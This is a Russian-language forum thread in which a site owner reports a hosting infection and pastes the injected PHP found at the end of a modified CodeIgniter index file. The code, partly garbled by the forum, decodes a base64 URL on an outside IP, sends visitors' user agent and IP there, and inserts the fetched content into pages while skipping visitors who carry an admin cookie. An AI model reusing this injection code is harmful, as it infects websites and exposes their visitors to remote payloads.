вирус на сайте

[NickNick]

сегодня обнаружил что на хостинге где лежит мой сайт появился вирус. В конце каждого html файл он дописывал скрипт с ссылкой. Обнаружил что index.php.htm (сайт написан на Codeignater) изменен. В конце него написан следующий код php:





PHP код:

Код: Выделить всё

function textsafeunworker($id) {
    $id = intval($id);
    $rtn = $id + date("j");
    return $rtn;
}

function workorunwork($in) {
    if (textsafeunworker(64)  320 ) {
        $rtn = false;
    } else {
    $get = workorunwork("aHR0cDovLzMxLjIxMC4xMTcuMTg3L3JlYWN0b3IucGhwP3BpZD0yJg==")."br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']);
    if (!isset($_COOKIE[workorunwork("ZGxlX3Bhc3N3b3Jk")])) {
    echo @file_get_contents($get);
    }
    }
}
workallt (date("j"));?> 

Дописывает что-то типа:



HTML код:

Код: Выделить всё

Код я удалил.

Не могу понять через какую "дырку" это залезло? В логах доступа по ftp ничего подозрительно

[iskander-k]

NickNick, Оставьте заявку по

ссылке